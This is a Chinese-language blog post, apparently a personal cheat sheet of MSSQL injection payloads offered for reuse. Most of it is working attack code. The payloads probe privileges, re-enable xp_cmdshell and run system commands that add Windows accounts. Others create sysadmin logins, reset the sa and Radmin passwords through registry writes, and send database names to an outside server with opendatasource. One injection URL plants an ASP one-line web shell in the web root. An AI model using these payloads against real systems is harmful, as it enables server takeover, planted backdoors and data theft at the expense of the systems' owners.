天天看點

個人整理常用注入指令

個人整理常用注入指令

我記性不好,是以把常用的注入代碼記錄下來,有點亂,但對我來說,還算很有用,希望大家也會喜歡!

//看看是什麼權限的

and 1=(Select IS_MEMBER('db_owner'))

And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

//檢測是否有讀取某資料庫的權限

and 1= (Select HAS_DBACCESS('master'))

And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --

數字類型

and char(124)%2Buser%2Bchar(124)=0

字元類型

' and char(124)%2Buser%2Bchar(124)=0 and ''='

搜尋類型

' and char(124)%2Buser%2Bchar(124)=0 and '%'='

爆使用者名

 and user>0

' and user>0 and ''='

檢測是否為SA權限

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

檢測是不是MSSQL資料庫

and exists (select * from sysobjects);--

檢測是否支援多行

;declare @d int;--

恢複xp_cmdshell

;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--

select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

//-----------------------

//      執行指令

//-----------------------

首先開啟沙盤模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然後利用jet.oledb執行系統指令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

執行指令

;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--

EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

判斷xp_cmdshell擴充存儲過程是否存在:

http://www.2cto.com /display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

寫系統資料庫

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

REG_SZ

讀系統資料庫

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

讀取目錄内容

exec master..xp_dirtree 'c:\winnt\system32\',1,1

資料庫備份

backup database pubs to disk = 'c:\123.bak'

//爆出長度

And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--

更改sa密碼方法:用sql綜合利用工具連接配接後,執行指令:

exec sp_password NULL,'新密碼','sa'

添加和删除一個SA權限的使用者test:

exec master.dbo.sp_addlogin test,ptlove

exec master.dbo.sp_addsrvrolemember test,sysadmin

删除擴充存儲過過程xp_cmdshell的語句:

exec sp_dropextendedproc 'xp_cmdshell'

添加擴充存儲過過程

EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'

GRANT exec On xp_proxiedadata TO public

停掉或激活某個服務。

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

隻列某個目錄下的子目錄。

xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'

dbo.xp_makecab

将目标多個檔案壓縮到某個目标檔案之内。

所有要壓縮的檔案都可以接在參數列的最後方,以逗号隔開。

dbo.xp_makecab

'c:\test.cab','mszip',1,

'C:\Inetpub\wwwroot\SQLInject\login.asp',

'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_terminate_process

停掉某個執行中的程式,但賦予的參數是Process ID。

利用”工作管理者”,透過選單「檢視」-「選擇字段」勾選pid,就可以看到每個執行程式的Process ID

xp_terminate_process 2484

xp_unpackcab

解開壓縮檔。

xp_unpackcab 'c:\test.cab','c:\temp',1

某機,安裝了radmin,密碼被修改了,regedit.exe不知道被删除了還是被改名了,net.exe不存在,沒有辦法使用regedit /e 導入注冊檔案,但是mssql是sa權限,使用如下指令EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密碼為12345678。如果要修改端口值EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 則端口值改為1234

create database lcx;

Create TABLE ku(name nvarchar(256) null);

Create TABLE biao(id int NULL,name nvarchar(256) null);

//得到資料庫名

insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases

//在Master中建立表,看看權限怎樣

Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--

用sp_makewebtask直接在web目錄裡寫入一句話馬:

http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//更新表内容

Update films SET kind = 'Dramatic' Where id = 123

//删除内容

delete from table_name where Stockid = 3

  http://hi.baidu.com/hacklele/item/9c49493a276e4ffddf2221d7